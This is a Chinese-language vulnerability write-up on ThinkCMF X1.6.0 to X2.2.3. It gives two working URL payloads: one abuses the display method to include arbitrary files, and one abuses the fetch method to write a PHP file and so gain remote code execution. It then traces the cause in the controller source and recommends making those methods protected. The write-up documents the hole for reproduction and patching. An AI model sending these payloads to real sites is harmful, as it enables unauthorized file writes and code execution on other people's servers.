ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架，底层采用ThinkPHP3.2.3构建。 ThinkCMF提出灵活的应用机制，框架自身提供基础的管理功能，而开发者可以根据自身的需求以应用的形式进行扩展。 每个应用都能独立的完成自己的任务，也可通过系统调用其他应用进行协同工作。在这种运行机制下，开发商场应用的用户无需关心开发SNS应用时如何工作的，但他们之间又可通过系统本身进行协调，大大的降低了开发成本和沟通成本。
攻击者可利用此漏洞构造恶意的url，向服务器写入任意内容的文件，达到远程代码执行的目的。
影响范围：
ThinkCMF X1.6.0 ThinkCMF X2.1.0 ThinkCMF X2.2.0 ThinkCMF X2.2.1 ThinkCMF X2.2.2 ThinkCMF X2.2.3
直接phpstudy一把梭
1.通过构造a参数的display()方法，实现任意内容包含漏洞 payload:
?a=display&templateFile=README.md2.通过构造a参数的fetch()方法，实现任意文件写入 payload:
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>回车执行 可以看到根目录下新建的test.php 打开test.php 成功写入一句话
首先看下入口文件
根据poc盲猜控制器IndexController.class.php
可以知道继承了HomebaseController，通过g\m\a参数指定分组\模块\方法，这里可以通过a参数直接调用Portal\IndexController父类(HomebaseController)中的一些权限为public的方法。 可以看的的public方法里就有display()、fetch(),还有方法作用及参数含义。 display函数的作用是加载模板和页面输出，所对应的参数为：templateFile为模板文件地址，charset模板字符集，contentType输出类型，content输出内容。 templateFile参数会经过parseTemplate()方法处理。 在\application\Common\Controller\AdminbaseController.class.php的parseTemplate()方法如下 parseTemplate()方法作用：判断模板主题是否存在，当模板主题不存在时会在当前目录下开始查找，形成文件包含。 fetch函数的作用是获取输出页面内容，调用内置模板引擎。 先判断content是否为空，不为空则templateFile参数会经过parseTemplate()方法处理
thinkphp的模版引擎使用的是smarty，在smarty中当key和value可控时便可以形成模板注入。所以当templateFile和prefix参数为空，在content参数传入php代码，便可以形成模板注入。
将HomebaseController.class.php和AdminbaseController.class.php类中display和fetch函数的修饰符改为protected。
https://xz.aliyun.com/t/6626#toc-5
